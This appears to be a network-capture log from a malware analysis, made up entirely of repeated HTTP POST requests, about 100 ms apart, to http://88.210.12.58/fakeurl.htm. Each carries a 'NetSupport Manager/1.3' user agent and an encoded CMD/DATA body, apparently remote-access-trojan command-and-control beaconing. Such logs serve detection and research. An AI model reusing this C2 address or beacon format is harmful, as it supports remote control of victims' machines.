Dec 6, 2024 10:42:55.470273018 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:55.570236921 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:55.671341896 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:55.772244930 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:55.873239994 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:55.974219084 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:56.075234890 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:56.175242901 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:56.278076887 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:56.378123999 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:56.476236105 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:56.578084946 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:56.677241087 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:56.777297020 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:56.882087946 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:56.979234934 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:57.079207897 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:57.180202961 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:57.280236959 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:57.381328106 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:57.482251883 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:57.582257032 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:57.682276011 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:57.782485008 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:57.883228064 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:57.983217955 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:58.083336115 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:58.184266090 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:58.284245968 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:58.384238005 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:58.486095905 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:58.586313009 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:58.686280966 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:58.786326885 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:58.890140057 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:58.987230062 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:59.090091944 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:59.188220978 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:59.289299011 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:59.390259981 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:59.490298986 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:59.590282917 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:59.691282034 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:59.792232990 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:59.892271042 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:59.993284941 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:00.093301058 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:00.194267988 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:00.294244051 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:00.396224022 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:00.494312048 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:00.598099947 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:00.696260929 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:00.797247887 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:00.902097940 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:01.002106905 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:01.102102041 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:01.200337887 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:01.300309896 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:01.400285006 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:01.501276970 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:01.602268934 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:01.702275991 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:01.803261042 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:01.903264046 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:02.004290104 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:02.105240107 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:02.206274986 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:02.308121920 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:02.408411980 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:02.508265972 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:02.609319925 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:02.710006952 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:02.809251070 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:02.914124012 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:03.011257887 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:03.114119053 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:03.214112043 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:03.312305927 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:03.415400982 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:03.519860029 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:03.929442883 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:04.029309988 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:04.130347967 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:04.230330944 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:04.334120989 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:04.431263924 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:04.532259941 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:04.632242918 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:04.732253075 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:04.832320929 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:04.934149981 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:43:05.034122944 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
